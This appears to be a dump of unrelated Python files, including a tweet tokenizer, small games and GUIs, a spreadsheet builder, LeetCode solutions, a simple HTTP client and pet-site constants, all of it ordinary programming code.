            # and symbols (plus alphanumeric) characters
            if general:
                # Found alphanumeric character
                if re.match(regex, char):
                    substring += char
                    # Appending substring if this is the last position of the raw token
                    if position == len(raw_token) - 1 and substring:
                        subtokens.append(substring)
                # Found an emoji, special char or symbol
                else:
                    # Appending constructed substring before handling character
                    if substring:
                        subtokens.append(substring)
                    # If symbol, append substring to the tokens list
                    substring = '' # Reset substring after appending
                    subtokens.append(char) # Appending to tokens symbol char indivually

            # Raw token containg only alphanumeric characters plus symbols, emojies or special characters
            # Or only special characters
            else:
                # Found alphanumeric character
                if not re.match(regex, char):
                    substring += char
                    # Appending substring if this is the last position of the raw token
                    if position == len(raw_token) - 1 and substring:
                        subtokens.append(substring)
                # Found an emoji, special char or symbol
                else:
                    # Appending constructed substring before handling character
                    if substring:
                        subtokens.append(substring)
                    # If symbol, append substring to the tokens list
                    substring = '' # Reset substring after appending
                    subtokens.append(char) # Appending to tokens symbol char indivually
            # Updating raw token index
            position += 1

        return subtokens

    def parse_hashtags_mentions(self, raw_token, hashtag=True):

        '''
        - Hashtags and mentions parser -

        Returns (un)parsed token plus:
         -1: invalid           e.g. #-hashtag (no parsing done)
          0: partially valid   e.g. #hash.tag
          1: fully valid       e.g. #hashtag
        '''

        # Initializing validity of raw token (as invalid)
        valid_hashtag_mention = -1

        # Initializing auxiliar variables
        subtokens, substring, index = [], '', 0

        # Processing each character excluding the first one
        for char in raw_token[1:]:

            # Checking for invalid characters
            if not re.match(self.invalid_hashtags_mentions_chars, char):
                substring += char # Building substring hashtag until invalid token is found
                index += 1

            # Character is invalid
            else:
                # Invalid hashtag or mention (contains invalid character right after '#' or '@')
                if index == 0:
                    return [], valid_hashtag_mention
                break

        # Updating truth value of valid_hashtag_mention
        # Raw token as a whole is a valid hashtag or mention
        if substring and not raw_token[index+1:len(raw_token)]:
            valid_hashtag_mention = 1
        # Raw token contains a valid hashtag or mention but has an invalid right hand side
        else:
            valid_hashtag_mention = 0

        # Tokenizes valid hashtag / mention
        subtokens.append('#' + substring) if hashtag else subtokens.append('@' + substring)

        # Tokenizes rest of the (invalid) hashtag so it can be handled as any other split
        if raw_token[index+1:len(raw_token)]:
            subtokens.append(raw_token[index+1:len(raw_token)])

        return subtokens, valid_hashtag_mention

    # Exemplifies how Twikenizer handles different situations
    def examplify(self):

        tweet = 'Tw33t a_!aa&!a?b #%lol # @dude_really #hash_tag $hit (g@y) (retard#d) @dude. \U0001F600\U0001F600 !\U0001F600abc %\U0001F600lol #hateit #hate.it $%&/ f*ck-'

        print('Generated tweet\n---------------')
        print(tweet + '\n')

        tokens = self.tokenize(tweet)

        print('Generated tokens\n----------------')
        print(tokens)


class Test(object):
	def __init__(self):
		self.x=3
		self.y=4
		self.z=5

attrs={"x":1,"y":2,"z":3}

t=Test()

for k,v in attrs.items():
	t.__setattr__(k, v)

for k in attrs.keys():
	print("{0}={1}".format(k,t.__getattribute__(k)))


f = open("files/task-03.txt", "r")

less_than_20k = []
sum = 0
count = 0

for line in f:
  last_name, salary = line.split()
  salary = float(salary)
  if salary <= 20000:
    less_than_20k.append(last_name)
  sum += salary
  count += 1

print("Зарплата меньше 20000 у следующих сотрудников: {}".format(", ".join(less_than_20k)))
print("Средняя зарплата -- {}".format(round(sum / count, 2)))

f.close()


import pygame
from pygame.locals import *
pygame.init()

screen = pygame.display.set_mode([1260, 700], RESIZABLE|HWSURFACE|DOUBLEBUF)

class Player:
    def __init__(self, offset):
        self.offset = offset
        self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[0])

    def update_position(self):
        keys = pygame.key.get_pressed()
        if keys[K_w]:
            self.offset[1] += 2
            self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[1])
        if keys[K_a]:
            self.offset[0] += 2
            self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[1])
        if keys[K_s]:
            self.offset[1] -= 2
            self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[1])
        if keys[K_d]:
            self.offset[0] -= 2
            self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[1])

    def resize(self):
        self.location = (screen.get_width()-self.offset[0], screen.get_height()-self.offset[1])

    def draw(self):
        pygame.draw.circle(screen, (0, 0, 255), self.location, 10)

screen = pygame.display.set_mode([1260, 700], RESIZABLE|HWSURFACE|DOUBLEBUF)
running = True
player = Player([50, 50])

clock = pygame.time.Clock()
while running:

    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False
        if event.type == pygame.KEYDOWN:
            if event.key == K_ESCAPE:
                running = False
        if event.type == pygame.VIDEORESIZE:
            # There's some code to add back window content here.
            surface = pygame.display.set_mode((event.w, event.h),
                                              RESIZABLE|HWSURFACE|DOUBLEBUF)
            player.resize()
    screen.fill((255, 255, 255))
    pygame.draw.rect(screen, (0, 0, 0), ((0, 0), (screen.get_width(), 10)))
    pygame.draw.rect(screen, (0, 0, 0), ((0, 0), (10, screen.get_height())))
    pygame.draw.rect(screen, (0, 0, 0), ((0, screen.get_height()-10), (screen.get_width(), 10)))
    pygame.draw.rect(screen, (0, 0, 0), ((screen.get_width()-10, 0), (10, screen.get_height())))
    player.update_position()
    player.draw()
    pygame.display.flip()

    # Sets our framerate
    clock.tick(60)

pygame.quit()


# 创建Excel表格
# 1、安装openpyxl
# `pip install openpyxl`
# 官方文档 [](https://openpyxl.readthedocs.io/en/stable/)
# 官方中文文档 https://openpyxl-chinese-docs.readthedocs.io/zh_CN/latest/tutorial.html
# 参考文档 [最详细的Excel模块Openpyxl教程]https://zhuanlan.zhihu.com/p/342422919

from openpyxl.styles import Alignment
from openpyxl import Workbook
from openpyxl.styles import Font

from copy import copy

def createExcel(excelName, titles, posts):
    wb = Workbook()

    # grab the active worksheet
    ws = wb.active

    # 1、添加数据
    # for title in titles:
    # 1.1 添加第一行
    ws.append(titles)
    # 1.2 添加后续行
    for post in posts:
        ws.append([post.nickname, post.create_time, post.link])
    # 2、设置样式
    # 设置单个列宽
    ws.column_dimensions['A'].width = 15.0
    ws.column_dimensions['B'].width = 30.0
    ws.column_dimensions['C'].width = 15.0
    ws.column_dimensions['D'].width = 15.0

    for col in ws.columns:
        for cell in col:
            # openpyxl styles aren't mutable,
            # so you have to create a copy of the style, modify the copy, then set it back
            if cell.column == 3:
                if cell.row > 1:
                    # 拿到指定的cell,设置样式
                    cell.hyperlink = cell.value # 设置为超链接
                    cell.font = Font(color='003366FF') # 设置字体颜色
            # 设置为居中
            alignment_obj = copy(cell.alignment)
            alignment_obj.horizontal = 'justify'
            alignment_obj.vertical = 'center'
            alignment_obj.wrap_text = True
            cell.alignment = alignment_obj

    # Save the file
    wb.save(excelName)

class Post:
    nickname = ""
    create_time = ""
    link = "http://www.baidu.com"

post1 = Post()
post1.nickname = "张三"
post1.create_time = "2022-10-29 19:00:00"

post2 = Post()
post2.nickname = "李四"
post2.create_time = "2022-10-29 19:00:00"

createExcel("table.xlsx", ["姓名","发布时间","链接"], [post1, post2])


# -*- coding: utf-8 -*-
"""
Created on Thu Oct 26 18:08:11 2017

@author: Xt
"""
'''
You are given two non-empty linked lists representing two non-negative integers.
The digits are stored in reverse order and each of their nodes contain a single digit.
Add the two numbers and return it as a linked list.

You may assume the two numbers do not contain any leading zero, except the number 0 itself.

Input: (2 -> 4 -> 3) + (5 -> 6 -> 4)
Output: 7 -> 0 -> 8
'''

# Definition for singly-linked list.
# class ListNode(object):
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution(object):
    def addTwoNumbers(self, l1, l2):
        """
        :type l1: ListNode
        :type l2: ListNode
        :rtype: ListNode
        """
        n1 = l1
        str1 = ''
        while n1 != None:
            str1 = str(n1.val) + str1
            n1 = n1.next
        int1 = int(str1)

        n2 = l2
        str2 = ''
        while n2 != None:
            str2 = str(n2.val) + str2
            n2 = n2.next
        int2 = int(str2)

        temp = str(int1+int2)
        result = ListNode(int(temp[-1]))
        aux = result
        for i in range(0,len(temp)-1):
            aux.next = ListNode(int(temp[len(temp)-i-2]))
            aux = aux.next
        return result


class Solution(object):
    def longestConsecutive(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        nums = set(nums)
        res = 0
        while nums:
            first = last = nums.pop()
            while first - 1 in nums:
                first -= 1
                nums.remove(first)
            while last + 1 in nums:
                last += 1
                nums.remove(last)
            res = max(res, last-first+1)
        return res


#!/usr/bin/python3
""" This module uses the `urllib` library to fetch resources from the URL
'https://alx-intranet.hbtn.io/status'
"""
import urllib

if __name__ == "__main__":

    req = __import__('urllib.request').request

    url = 'https://alx-intranet.hbtn.io/status'

    with req.urlopen(url) as resp:
        body = resp.read()                  # Body content
        print('Body response:')
        print(f"\t- type: {body.__class__}")    # type(body)
        print(f"\t- content: {body}")           # Body's content in byte b''
        print(f"\t- utf8 content: {resp.msg}")  # UTF-8 representation ''


import http.client as http
import json

import time

import utils

NETWORK_ERRORS = http.HTTPException, ConnectionError, OSError

HEADERS = {
    'User-Agent': "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
    'Accept-Charset': 'utf-8',
}

class Connection(object):

    def __init__(self, host=utils.BOARD_URL):
        self._host = host
        self._connect()

    def _repeat_on(exceptions):
        def _repeat_on_error(function):
            def _f(self, *args, **kwargs):
                while True:
                    try:
                        return function(self, *args, **kwargs)
                    except exceptions as e:
                        utils.inform(e, level=utils.WARNING)
                        self._connect()
                        time.sleep(1)
            return _f
        return _repeat_on_error

    @_repeat_on(NETWORK_ERRORS)
    def _connect(self):
        self._conn = http.HTTPSConnection(self._host)
        self._set_headers()
        utils.inform('Connected to {}'.format(self._host), level=utils.INFO)

    def _set_cookie(self):
        resp = self.get_response('/')
        self._headers['Cookie'] = resp.getheader('set-cookie')
        resp.read()

    def _set_headers(self):
        self._headers = HEADERS

    @_repeat_on(NETWORK_ERRORS)
    def _get_response(self, request):
        utils.inform('Requesting {}'.format(request), level=utils.INFO)
        self._conn.request('GET', request, headers=self._headers)
        resp = self._conn.getresponse()
        utils.inform('Response is {}: {}'.format(
            resp.status, resp.reason), level=utils.INFO)
        return resp

    def get_response(self, request):
        return self._get_response(request)

    def get_json(self, request):
        json_data = {}

        resp = self._get_response(request)
        data = resp.read()

        try:
            data = data.decode('utf8')
        except (AttributeError, UnicodeDecodeError):
            pass

        if resp.status == 200:
            try:
                json_data = json.loads(data)
            except ValueError as e:
                utils.inform(e, level=utils.WARNING)
            except TypeError as e:
                utils.inform(e, level=utils.WARNING)

        return resp.status, json_data

    def get_file(self, request):
        return self._get_response(request).read()


from thop import profile
import torch
from archs.BSRN_arch import BSRN as net

model = net()
input = torch.randn(1, 3, 320, 180)

macs, params = profile(model, inputs=(input, ))

print("Multi-adds[G] ")
print(macs/1e9)
print("Parameters [K]")
print(params/1e3)


PETS_PER_PAGE = 12
APPROX_CAT_COUNT = 37500
APPROX_DOG_COUNT = 21700
SEXES = (
    ('Male', 'Male'),
    ('Female', 'Female')
)
CAT_AGE_RANGES = (
    ('Kitten', 'Kitten'),
    ('Young', 'Young'),
    ('Adult', 'Adult'),
    ('Senior', 'Senior')
)
DOG_AGE_RANGES = (
    ('Puppy', 'Puppy'),
    ('Young', 'Young'),
    ('Adult', 'Adult'),
    ('Senior', 'Senior')
)
CAT_BREEDS = (
    ('Abyssinian', 'Abyssinian'),
    ('Bengal', 'Bengal'),
    ('Birman', 'Birman'),
    ('Devon Rex', 'Devon Rex'),
    ('Egyptian Mau', 'Egyptian Mau'),
    ('Foldex', 'Foldex'),
    ('Himalayan', 'Himalayan'),
    ('Maine Coon', 'Maine Coon'),
    ('Persian', 'Persian'),
    ('Ragdoll', 'Ragdoll'),
    ('Scottish Fold', 'Scottish Fold'),
    ('Siamese', 'Siamese'),
    ('Sphynx', 'Sphynx'),
)
DOG_BREEDS = (
    ('Basset Hound', 'Basset Hound'),
    ('Beagle', 'Beagle'),
    ('Border Collie', 'Border Collie'),
    ('Boston Terrier', 'Boston Terrier'),
    ('Boxer', 'Boxer'),
    ('Cockapoo', 'Cockapoo'),
    ('Cocker Spaniel', 'Cocker Spaniel'),
    ('French Bulldog', 'French Bulldog'),
    ('Golden Retriever', 'Golden Retriever'),
    ('Greyhound', 'Greyhound'),
    ('Irish Setter', 'Irish Setter'),
    ('Labrador Retriever', 'Labrador Retriever'),
    ('Poodle', 'Poodle'),
)
US_STATES = (
    ('Alabama', 'Alabama'),
    ('Alaska', 'Alaska'),
    ('Arizona', 'Arizona'),
    ('Arkansas', 'Arkansas'),
    ('California', 'California'),
    ('Colorado', 'Colorado'),
    ('Connecticut', 'Connecticut'),
    ('Delaware', 'Delaware'),
    ('Florida', 'Florida'),
    ('Georgia', 'Georgia'),
    ('Hawaii', 'Hawaii'),
    ('Idaho', 'Idaho'),
    ('Illinois', 'Illinois'),
    ('Indiana', 'Indiana'),
    ('Iowa', 'Iowa'),
    ('Kansas', 'Kansas'),
    ('Kentucky', 'Kentucky'),
    ('Louisiana', 'Louisiana'),
    ('Maine', 'Maine'),
    ('Maryland', 'Maryland'),
    ('Massachusetts', 'Massachusetts'),
    ('Michigan', 'Michigan'),
    ('Minnesota', 'Minnesota'),
    ('Mississippi', 'Mississippi'),
    ('Missouri', 'Missouri'),
    ('Montana', 'Montana'),
    ('Nebraska', 'Nebraska'),
    ('Nevada', 'Nevada'),
    ('New Hampshire', 'New Hampshire'),
    ('New Jersey', 'New Jersey'),
    ('New Mexico', 'New Mexico'),
    ('New York', 'New York'),
    ('North Carolina', 'North Carolina'),
    ('North Dakota', 'North Dakota'),
    ('Ohio', 'Ohio'),
    ('Oklahoma', 'Oklahoma'),
    ('Oregon', 'Oregon'),
    ('Pennsylvania', 'Pennsylvania'),
    ('Rhode Island', 'Rhode Island'),
    ('South Carolina', 'South Carolina'),
    ('South Dakota', 'South Dakota'),
    ('Tennessee', 'Tennessee'),
    ('Texas', 'Texas'),
    ('Utah', 'Utah'),
    ('Vermont', 'Vermont'),
    ('Virginia', 'Virginia'),
    ('Washington', 'Washington'),
    ('West Virginia', 'West Virginia'),
    ('Wisconsin', 'Wisconsin'),
    ('Wyoming', 'Wyoming')
)


import json
from random import randint
from administrador_datos import cargar_datos
from  jugador import *

def jugar():
    pregunta = nueva_pregunta()

    if jugador["escalon"] != 8:
        print()
        print("Escalon N°", jugador["escalon"], "!!!!!")
        print(jugador["nombre"], "Puntaje:", jugador["puntaje"])

        if es_correcta(pregunta): # hace la pregunta y verifica y se contesta correctamente
            print("Es correcto")
            sumar_puntaje()
            subir_escalon()
            jugar()
        else:
            print("Es Incorrecto")
            subir_escalon()
            jugar()
    else:
        escalon_8(pregunta)

def nueva_pregunta():
    with open('preguntas.json', 'rt', encoding="utf-8") as json_preguntas:
        lista_preguntas = json.load(json_preguntas)
        preguntas_a_jugar = []

        for pregunta in lista_preguntas:
            if pregunta["escalon"] == jugador["escalon"]:
                preguntas_a_jugar.append(pregunta)

    a_preguntar = preguntas_a_jugar[randint(0,len(preguntas_a_jugar) - 1)]

    if jugador["escalon"] == 8:
        while a_preguntar in jugador["preguntas_hechas"]:
                a_preguntar = preguntas_a_jugar[randint(0,len(preguntas_a_jugar) - 1)]

        jugador["preguntas_hechas"].append(a_preguntar)

    return a_preguntar

def mostrar_opciones(pregunta):
    num_opcion = 1
    for i in pregunta["opciones"]:
        print(f"{num_opcion} - {i}")
        num_opcion += 1

def fin_juego():
    print("Fin del juego\n")

    print("FELICIDADES!!!\nOBTUVISTE PUNTAJE PERFECTO:", jugador["puntaje"]) if jugador["puntaje"] == 110 else print("Puntaje final:", jugador["puntaje"])

def es_correcta(pregunta):
    print(pregunta["pregunta"])
    mostrar_opciones(pregunta)
    respuesta = int(input())
    while respuesta < 1 or respuesta > 4:
        print("Opción incorrecta!!!")
        print()
        print(pregunta["pregunta"])
        mostrar_opciones(pregunta)
        respuesta = int(input())

    return pregunta["correcta"] == pregunta["opciones"][respuesta - 1]

def escalon_8(pregunta):
    contador = 0

    while contador < 4:
        print()
        print("Escalon N°", jugador["escalon"], " Final Boss!!!!!")
        print(jugador["nombre"], "Puntaje:", jugador["puntaje"])
        print("Contesta 4 preguntas para ganarle!!!")
        print(f"{contador}/4")
        pregunta = nueva_pregunta()
        if es_correcta(pregunta): # hace la pregunta y verifica y se contesta correctamente
            contador += 1
            print("Es correcto")
            sumar_puntaje()
        else:
            print("Es Incorrecto")
            contador = 5

    fin_juego()
    cargar_datos()


import numpy as np
import time
import sys
import os
from PyQt5 import QtGui, QtCore, QtWidgets
import pyqtgraph as pg

from GameOfLife import GameOfLife

"""
For some reason, this makes sure the
icon can be displayed properly in Windows taskbar
"""
import ctypes
import platform
if platform.system() == "Windows":
    myappid = 'mycompany.myproduct.subproduct.version' # arbitrary string
    ctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(myappid)

# GUI MANAGER
class GuiManager(QtWidgets.QWidget):

    def __init__(self):
        super(GuiManager, self).__init__() # Initializes the base class QMainWindow

        # Instanciates a GameOfLife object
        self.game = GameOfLife()
        self.isRunning = False

        # Establishes the accepted size for the image
        self.listOfSizes = [10, 20, 50, 100, 200]

        # Reads the .npy files of our initial BOARDs collection
        self.initialBOARDs = self.readinitialBOARDsFiles()
        self.currentInitialBOARD = 0

        # Initializes the GUI widgets and layout
        self.setupGUI()

        # Load the initial BOARD and update it in the game object
        self.loadInitialBOARD()

    # WIDGETS AND LAYOUT ----------------------------------------------------------------------------------------------
    def setupGUI(self):

        # Sets the name, incon and size of the main window
        self.setWindowTitle('The Game Of Life')
        self.setWindowIcon(QtGui.QIcon('Logo.PNG'))
        self.resize(1000,800)

        # Add Timer for displaying and saving data
        self.displayTimer = QtCore.QTimer()
        self.displayTimer.timeout.connect(self.propagate)

        # Creates the buttons' size policy
        sizePolicyBtn = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum,QtGui.QSizePolicy.Minimum)
        sizePolicyBtn.setHorizontalStretch(0)
        sizePolicyBtn.setVerticalStretch(0)

        # Start button
        self.StartBtn = QtGui.QPushButton("Start")
        sizePolicyBtn.setHeightForWidth(self.StartBtn.sizePolicy().hasHeightForWidth())
        self.StartBtn.setSizePolicy(sizePolicyBtn)
        self.StartBtn.setStyleSheet("background-color: green; color: black; font-size: 32px; font: bold; border-radius: 3px")
        self.StartBtn.clicked.connect(self.start)
        self.StartBtn.setEnabled(True)

        # Pause button
        self.PauseBtn = QtGui.QPushButton("Pause")
        sizePolicyBtn.setHeightForWidth(self.PauseBtn.sizePolicy().hasHeightForWidth())
        self.PauseBtn.setSizePolicy(sizePolicyBtn)
        self.PauseBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 3px")
        self.PauseBtn.clicked.connect(self.pause)
        self.PauseBtn.setEnabled(False)

        # PLUS button
        self.PlusBtn = QtGui.QPushButton("+")
        sizePolicyBtn.setHeightForWidth(self.PlusBtn.sizePolicy().hasHeightForWidth())
        self.PlusBtn.setSizePolicy(sizePolicyBtn)
        self.PlusBtn.setStyleSheet("background-color: gray; color: black; font-size: 32px; font: bold; border-radius: 3px")
        self.PlusBtn.clicked.connect(self.plusOne)
        self.PlusBtn.setEnabled(True)

        # Reset button
        self.ResetBtn = QtGui.QPushButton("Reset")
        sizePolicyBtn.setHeightForWidth(self.ResetBtn.sizePolicy().hasHeightForWidth())
        self.ResetBtn.setSizePolicy(sizePolicyBtn)
        self.ResetBtn.setStyleSheet("background-color: gray; color: black; font-size: 32px; font: bold; border-radius: 3px")
        self.ResetBtn.clicked.connect(self.reset)
        self.ResetBtn.setEnabled(True)

        # Slider for propagation speed
        self.slider = QtWidgets.QSlider(QtCore.Qt.Horizontal, self)
        self.slider.setFocusPolicy(QtCore.Qt.NoFocus)
        self.slider.setRange(1, 100)
        self.slider.setValue(10)
        self.freq = (1. / 10) * 1e3 # Frequency in ms
        self.slider.valueChanged[int].connect(self.changePropagationSpeed)
        self.slider.setEnabled(True)

        # RIGHT button
        self.RightBtn = QtGui.QPushButton("->")
        sizePolicyBtn.setHeightForWidth(self.RightBtn.sizePolicy().hasHeightForWidth())
        self.RightBtn.setSizePolicy(sizePolicyBtn)
        self.RightBtn.setStyleSheet("background-color: rgba(40,97,130,250); color: black; font-size: 32px; font: bold; border-radius: 3px")
        self.RightBtn.clicked.connect(self.right)
        self.RightBtn.setEnabled(True)

        # LEFT button
        self.LeftBtn = QtGui.QPushButton("<-")
        sizePolicyBtn.setHeightForWidth(self.LeftBtn.sizePolicy().hasHeightForWidth())
        self.LeftBtn.setSizePolicy(sizePolicyBtn)
        self.LeftBtn.setStyleSheet("background-color: rgba(40,97,130,250); color: black; font-size: 28px; font: bold; border-radius: 3px")
        self.LeftBtn.clicked.connect(self.left)
        self.LeftBtn.setEnabled(True)

        # Create New button
        self.CreateNewBtn = QtGui.QPushButton("Create New")
        sizePolicyBtn.setHeightForWidth(self.CreateNewBtn.sizePolicy().hasHeightForWidth())
        self.CreateNewBtn.setSizePolicy(sizePolicyBtn)
        self.CreateNewBtn.setStyleSheet("background-color: rgba(40,97,130,250); color: black; font-size: 24px; font: bold; border-radius: 3px")
        self.CreateNewBtn.clicked.connect(self.createNew)
        self.CreateNewBtn.setEnabled(True)

        # Save button
        self.SaveBtn = QtGui.QPushButton("Save")
        sizePolicyBtn.setHeightForWidth(self.SaveBtn.sizePolicy().hasHeightForWidth())
        self.SaveBtn.setSizePolicy(sizePolicyBtn)
        self.SaveBtn.setStyleSheet("background-color: rgba(17, 137, 107,200); color: black; font-size: 32px; font: bold; border-radius: 5px")
        self.SaveBtn.clicked.connect(self.save)
        self.SaveBtn.setEnabled(True)

        # Delete button
        self.DeleteBtn = QtGui.QPushButton("Delete")
        sizePolicyBtn.setHeightForWidth(self.DeleteBtn.sizePolicy().hasHeightForWidth())
        self.DeleteBtn.setSizePolicy(sizePolicyBtn)
        self.DeleteBtn.setStyleSheet("background-color: rgba(17, 137, 107,200); color: black; font-size: 32px; font: bold; border-radius: 3px")
        self.DeleteBtn.clicked.connect(self.delete)
        self.DeleteBtn.setEnabled(True)

        # IncreaseSize button
        self.IncreaseSizeBtn = QtGui.QPushButton("Increase Size")
        sizePolicyBtn.setHeightForWidth(self.IncreaseSizeBtn.sizePolicy().hasHeightForWidth())
        self.IncreaseSizeBtn.setSizePolicy(sizePolicyBtn)
        self.IncreaseSizeBtn.setStyleSheet("background-color: gray; color: black; font-size: 12px; font: bold")
        self.IncreaseSizeBtn.clicked.connect(self.increase)
        self.IncreaseSizeBtn.setEnabled(True)

        # DecreaseSize button
        self.DecreaseSizeBtn = QtGui.QPushButton("Decrease Size")
        sizePolicyBtn.setHeightForWidth(self.DecreaseSizeBtn.sizePolicy().hasHeightForWidth())
        self.DecreaseSizeBtn.setSizePolicy(sizePolicyBtn)
        self.DecreaseSizeBtn.setStyleSheet("background-color: gray; color: rgba(150,150,150,250); font-size: 12px; font: bold")
        self.DecreaseSizeBtn.clicked.connect(self.decrease)
        self.DecreaseSizeBtn.setEnabled(True)

        # GraphicView
        self.Image = pg.ImageItem()
        self.Image.mousePressEvent = self.getPos
        self.Plot = pg.PlotWidget(title="The "+self.initialBOARDs[self.currentInitialBOARD].split('.')[0], labels={"left":"Cell number", "bottom":"Depth"})
        self.Plot.hideAxis("bottom")
        self.Plot.hideAxis("left")
        self.Plot.addItem(self.Image)

        # Build lookup table
        lut = np.zeros((256,3), dtype=np.ubyte)
        lut[:10,:] = 50
        lut[10:,0] = 255
        lut[:,1] = np.arange(0,256)
        self.Image.setLookupTable(lut, update=True)

        # Instanciates the layout
        self.layout = QtWidgets.QGridLayout()
        self.setLayout(self.layout)

        self.layout.addWidget(self.Plot, 0, 0, 60, 60)

        self.layout.addWidget(self.StartBtn, 5, 60, 5, 10)
        self.layout.addWidget(self.PauseBtn, 10, 60, 5, 10)
        self.layout.addWidget(self.PlusBtn, 15, 60, 5, 10)

        self.layout.addWidget(self.slider, 22, 60, 2, 10)
        self.layout.addWidget(self.ResetBtn, 25, 60, 5, 10)

        self.layout.addWidget(self.RightBtn, 35, 65, 5, 5)
        self.layout.addWidget(self.LeftBtn, 35, 60, 5, 5)
        self.layout.addWidget(self.CreateNewBtn, 40, 60, 5, 10)

        self.layout.addWidget(self.SaveBtn, 50, 60, 5, 10)
        self.layout.addWidget(self.DeleteBtn, 55, 60, 5, 10)

        self.layout.addWidget(self.DecreaseSizeBtn, 60, 0, 1, 10)
        self.layout.addWidget(self.IncreaseSizeBtn, 60, 10, 1, 10)

        splash_pix = QtGui.QPixmap('Logo.PNG')
        splash = QtGui.QSplashScreen(splash_pix, QtCore.Qt.WindowStaysOnTopHint)
        splash.show()
        time.sleep(0)

        # Display the interface on the screen
        self.show()

    def start(self):
        self.isRunning = True

        # Disable Start-Button and enable Pause-Button
        self.PauseBtn.setEnabled(True)
        self.PauseBtn.setStyleSheet("background-color: red; color: black; font-size: 32px; font: bold; border-radius: 3px")

        self.StartBtn.setEnabled(False)
        self.StartBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 3px")

        # Disables the PLUS button
        self.PlusBtn.setEnabled(False)
        self.PlusBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 3px")

        # Disables the Delete button
        self.DeleteBtn.setEnabled(False)
        self.DeleteBtn.setStyleSheet("background-color: rgba(174, 242, 225,200); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 3px")

        # Starts the display loop
        self.displayTimer.start(self.freq)
        return

    def pause(self):
        self.isRunning = False

        # Disable Pause-Button and enable Start-Button
        self.StartBtn.setEnabled(True)
        self.StartBtn.setStyleSheet("background-color: green; color: black; font-size: 32px; font: bold; border-radius: 5px")

        self.PauseBtn.setEnabled(False)
        self.PauseBtn.setStyleSheet("background-color: rgba(200,200,200,250); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 5px")

        # Enables the PLUS button
        self.PlusBtn.setEnabled(True)
        self.PlusBtn.setStyleSheet("background-color: gray; color: black; font-size: 32px; font: bold; border-radius: 3px")

        # Stops the display loop
        self.displayTimer.stop()

        return

    def reset(self):
        # Pauses the game
        self.pause()

        # Resets the plot
        self.game.BOARD = np.copy(self.game.initialBOARD)
        self.updatePlot()

        # Enables the Delete button
        self.DeleteBtn.setEnabled(True)
        self.DeleteBtn.setStyleSheet("background-color: rgba(17, 137, 107,200); color: black; font-size: 32px; font: bold; border-radius: 3px")

        return

    def plusOne(self):
        # Stops the display loop
        self.displayTimer.stop()

        # Propagates once
        self.propagate()

        # Disables the Delete button
        self.DeleteBtn.setEnabled(False)
        self.DeleteBtn.setStyleSheet("background-color: rgba(174, 242, 225,200); color: rgba(150,150,150,250); font-size: 32px; font: bold; border-radius: 3px")

        return

    def propagate(self):
        # Updates the plot to the next iteration result
        self.game.takeOneStep()
        self.updatePlot()
        return

    def updatePlot(self):
        # Updates the plot with the current state of the game
        self.Image.setImage(image=np.transpose(np.flip(self.game.BOARD.astype(np.uint8), axis=0)))
        return

    def changePropagationSpeed(self, value):
        # The value corresponds to the number of steps per second
        self.freq = (1. / value) * 1e3 # Frequency in ms
        if self.isRunning:
            self.displayTimer.start(self.freq)

    def right(self):
        self.initialBOARDs = self.readinitialBOARDsFiles()
        # Sets the initial BOARD to next in the list
        self.currentInitialBOARD += 1
        if self.currentInitialBOARD >= len(self.initialBOARDs):
            self.currentInitialBOARD = 0

        self.loadInitialBOARD()
        self.reset()
        self.checkAllowedSizes()

        # Resets the zooming on the image
        self.Plot.autoRange()
        self.Plot.enableAutoRange()
        return

    def left(self):
        self.initialBOARDs = self.readinitialBOARDsFiles()
        # Sets the initial BOARD to previous in the list
        self.currentInitialBOARD -= 1
        if self.currentInitialBOARD < 0:
            self.currentInitialBOARD = len(self.initialBOARDs) - 1
        self.loadInitialBOARD()
        self.reset()
        self.checkAllowedSizes()

        # Resets the zooming on the image
        self.Plot.autoRange()
        self.Plot.enableAutoRange()
        return

    def createNewInitialBOARD(self):
        self.pause()
        creationWindow = BOARDcreator()
        return

    def loadInitialBOARD(self):
        # Loads the initial BOARD corresponding to the index currentInitialBOARD in the list
        array = np.load(os.path.join("InitialBOARDs", self.initialBOARDs[self.currentInitialBOARD]))

        # Updates the initial BOARD and its name in the game object
        self.game.initialBOARD = np.copy(array)
        self.game.BOARD = np.copy(self.game.initialBOARD.astype(np.uint8))
        self.updatePlot()
        self.Plot.setTitle(title="The "+self.initialBOARDs[self.currentInitialBOARD].split('.')[0])
        self.resetSize()
        self.checkAllowedSizes()
        return

    def readinitialBOARDsFiles(self):
        # Creates a list of strings with the name of .npy files in Data Directory
        fileList = os.listdir("InitialBOARDs")
        numpyFiles = [f for f in fileList if f.split('.')[-1] == 'npy']

        # Sort alpha-numerically the list of files
        sortedFiles = sorted(numpyFiles, key=lambda item: (int(item.partition('.')[0]) if item[0].isdigit() else float('inf'), item))

        return sortedFiles

    def getPos(self , event):
        y = int(event.pos().x())
        x = (self.game.BOARD.shape[0] - 1) - int(event.pos().y())

        if self.game.BOARD[x,y] == True:
            self.game.BOARD[x,y] = False
        else:
            self.game.BOARD[x,y] = True

        self.updatePlot()

    def increase(self):
        if self.currentSize < len(self.listOfSizes) - 1:
            self.currentSize += 1
            self.checkAllowedSizes()
            self.enlargeImage()
            self.Image.setImage(image=np.transpose(np.flip(self.game.BOARD.astype(np.uint8), axis=0)))

    def decrease(self):
        if self.currentSize > 0:
            self.currentSize -= 1
            self.checkAllowedSizes()
            self.diminishImage()
            self.Image.setImage(image=np.transpose(np.flip(self.game.BOARD.astype(np.uint8), axis=0)))

    def enlargeImage(self):
